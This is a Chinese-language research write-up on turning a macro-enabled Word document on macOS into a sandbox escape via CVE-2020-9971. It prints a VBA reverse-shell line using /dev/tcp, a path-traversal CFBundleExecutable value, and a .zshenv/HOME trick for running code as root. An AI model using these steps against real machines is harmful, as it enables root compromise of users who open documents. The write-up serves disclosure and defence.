利用CVE-2020-9971绕过Microsoft Office的应用程序沙箱

在本文中，研究人员展示了他们如何利用已发布的 macOS/iOS 权限提升漏洞将 Word 文档武器化，解除应用程序沙箱限制并获得更高权限。

CVE-2020-9971 是 macOS/iOS 中的一个逻辑漏洞，可用于稳定的提权漏洞。在这篇文章中，研究人员 (@R3dF09) 提到它也可以在最受限制的应用沙箱中运行，因此研究人员决定对其进行测试并使用武器化的 Word 文档绕过 Microsoft Office 2019（适用于 Mac）应用沙箱。为了完成这个任务，研究人员不得不使用一些有趣的技巧来绕过 Apple 的文件隔离。

CVE-2020-9971位于launchd进程中，与XPC Services机制有关。这种机制提供了进程间通信，允许开发人员创建为其应用程序执行特定任务的服务。这通常用于将应用程序拆分为更小的部分，从而提高可靠性和安全性。launchd是mac系统下通用的进程管理器，是mac系统下非常重要的一个进程，一般来说该进程不允许直接以命令行的形式调用。只能通过其控制管理界面，launchctl来进行控制。launchd主要功能是进程管理。可以理解成是一个常驻在后台的进程，根据用户的配置，来响应特定的系统事件。launchd既可以用于系统级别的服务，又可以用于个人用户级别的服务。

每个进程都有自己的域，由 launchd 管理，其中包含有关进程可用的 XPC 服务的信息。苹果声称只有拥有者进程才能修改自己的域，但该漏洞的核心漏洞是能够将任意 XPC 服务添加到任意进程域中，然后触发它在该进程的上下文中运行。起初，攻击者将自制的 XPC 服务“注入”到具有 root 权限的特定进程的域中（systemsoundserverd）。开发者还使用了 XPC 服务的一个众所周知的功能来监听套接字以触发和启动它。

接下来，研究人员将描述成功将 Word 文档武器化并绕过 Word 应用程序沙箱的步骤。该研究是在易受 CVE-2020-9971 攻击的 macOS 10.15.4 和当时最新版本的 Microsoft Office 2019 上进行的，但这无关紧要，因为该漏洞在操作系统端。

漏洞利用

研究人员的第一个目标是创建一个独立的命令行漏洞利用。在这个阶段，研究人员认为他们只需要删除它并从武器化的 Word 文档中执行它即可，但实际情况并非如此。无论如何，研究人员用 XCode 创建了一个应用程序，附带一个简单的 XPC 服务，它执行以下步骤：

1.查找研究人员要使用的 root 特权进程的 PID。正如研究人员已经知道不可能在 Office 应用沙箱中执行 ps 一样，研究人员改为使用 launchctl 打印系统的输出，它显示了系统中的进程域。此时研究人员注意到systemoundserverd的进程域是在启动后延迟相当长的时间创建的，所以研究人员改用launchservicesd的进程域；

2.将研究人员的 XPC 服务注入到找到的 PID 的进程域中；

3.通过打开 TCP 套接字触发研究人员的 XPC 服务的启动；

附带的XPC服务只创建一个文件(表示成功)，并配置为在指定的TCP端口上侦听。漏洞利用和 XPC 服务都存储在同一个应用程序包中，但请注意研究人员有两个不同的可执行文件。

通过这个独立的漏洞利用，研究人员能够从普通用户那里获得 root 权限，现在是时候开始实现研究人员的最终目标了——绕过沙盒。

绕过沙盒

研究人员的最终目标是使用此漏洞将 Word 文档武器化，以绕过应用程序沙箱。其基础是能够从这个Word文档中执行shell命令，这可以通过Microsoft Office中的其他漏洞实现，或者更容易通过VBA宏实现，这让研究人员只剩下说服用户按下“启用宏”的工作。更多关于针对 Mac 用户的基于宏的攻击请点此https://perception-point.io/mac-isnt-safe-how-do-you-like-them-apples/查看。对于这个概念验证，研究人员将使用 VBA 宏。

在 Office 应用沙箱的上下文中获取 bash shell 很简单，然后利用这些限制。研究人员所要做的就是侦听特定端口（例如 netcat）并从 Word 文档中执行以下 VBA 宏：

MacScript("do shell script ""bash -I >&/dev/tcp/127.0.0.1/PORT 0>&1 &""")

此时，在沙箱中有了一个shell，研究人员试图转储并执行独立漏洞，但它没有奏效。经过一些研究，研究人员发现他们在沙箱中创建的每个文件都是使用“com.apple.quarantine”属性创建的，这个可以通过 xattr 实用程序观察到。

隔离属性是许多 macOS 保护的核心，最初，它仅附加到从互联网下载的文件中，以执行多项安全检查（例如文件隔离、GateKeeper、Notarization 和 XProtect）。自从引入了沙箱之后，这个属性又增加了一个角色——标记从沙箱中创建的文件，并完全阻止它们被执行。以下是研究人员试图从沙箱shell中转储和执行一个文件时产生的日志：

kernel: (Sandbox) Sandbox: bash(1724) deny(1) process-exec* /Users/perceptionpoint/Library/Containers/com.microsoft.Word/Data/test
kernel: (Quarantine) exec of /Users/perceptionpoint/Library/Containers/com.microsoft.Word/Data/test denied since it was quarantined by Microsoft Word and created without user consent, qtn-flags was 0x00000086

可以看到研究人员可以执行 shell 命令，但不能转储和运行他们自己的可执行文件。对于可利用的可执行文件，研究人员有一个简单的替换方法：只需在ctypes包的帮助下运行一个执行相同步骤的python脚本。现在研究人员就能够将 XPC 服务注入目标进程域，甚至触发它的执行，但它没有运行：XPC 服务可执行文件本身被标记为隔离属性。

现在是时候更深入地研究XPC服务的结构了。从外部看，它看起来像一个扩展名为“xpc”的单一文件，但它实际上是一个具有典型结构的文件夹：

主要组件是 Info.plist 文件，它是一个描述服务的 XML 文件，以及可执行文件本身（位于 MacOS 文件夹内）。 Info.plist 中的部分内容如下：

< key >CFBundleExecutable< /key >< string >AppService< /string >

研究人员不能使用他们自己的可执行文件，所以唯一的选择是使用系统现有的可执行文件之一。研究人员尝试在 CFBundleExecutable 项中使用完整路径，但是 XPC 服务根本无法加载。很明显，macOS 会在目录 Contents/MacOS 中查找具有此项中指定名称的可执行文件，也许研究人员可以使用路径遍历来指向现有的可执行文件，并尝试将值更改为：

< key >CFBundleExecutable< /key >< string >../../../../../../../../../usr/bin/yes< /string >

令研究人员惊讶的是，它奏效了！当研究人员使用这个“假”XPC 服务执行漏洞利用时，研究人员发现了一个具有 root 权限的“是”进程，即使研究人员是从沙箱中执行的。

因此，研究人员有能力以 root 权限运行进程，但似乎无法控制它们的参数。在团队内部就这个问题进一步咨询后，研究人员想出了一个好办法，他们注意到可以控制新进程的环境变量，即运行一个 shell 作为 XPC 服务（例如 zsh），将其 HOME 目录更改为研究人员可以控制，并将 shell 在执行开始时提供的文件放在那里（例如.zshenv）。

将它们全部封装在一起

研究人员编写了一个 python 脚本，执行以下步骤：

1.将“.zshenv”文件写入当前目录，在沙箱内，路径为 /Users/user/Library/Containers/com.microsoft.Word/Data，其中包含研究人员希望以 root 身份执行的载荷；

2.查找研究人员要使用的 root 权限进程的 PID (launchservicesd)；

3.创建“假”XPC 服务，其中可执行文件指向 zsh，并将 HOME 环境变量设置为当前目录；

4.将“假”XPC 服务注入到找到的 PID 的进程域中；

5.通过打开 TCP 套接字触发 XPC 服务的启动；

然后研究人员将该脚本封装为 base64 格式，以便从VBA宏中执行它，并将其插入到 AutoOpen 子例程中。具体演示过程请点此，其中有效载荷只在/tmp/hacked中创建一个文件（请注意，该文件是以 root 身份创建的，并且没有隔离位）。

总结

研究人员证明了 CVE-2020-9971 可以用作沙箱逃逸漏洞，以 Word 文档作为研究人员的 POC。在这个过程中，研究人员发现了一种通过 XPC 服务启动任意可执行文件的方法（在 CFBundleExecutable 值中进行路径遍历），特别是执行 shell 脚本（通过控制 HOME 环境变量和转储 .zshenv 文件的技巧）。

这个沙箱逃逸漏洞使研究人员能够为 macOS 创建一个快速、简单和廉价的武器化 Word 文档，这严重危害了系统安全。

安全建议

1.避免打开陌生文档，尤其是运行来自未知来源或你不完全信任的发送方；

2.使用能够处理此类攻击的综合性安全产品。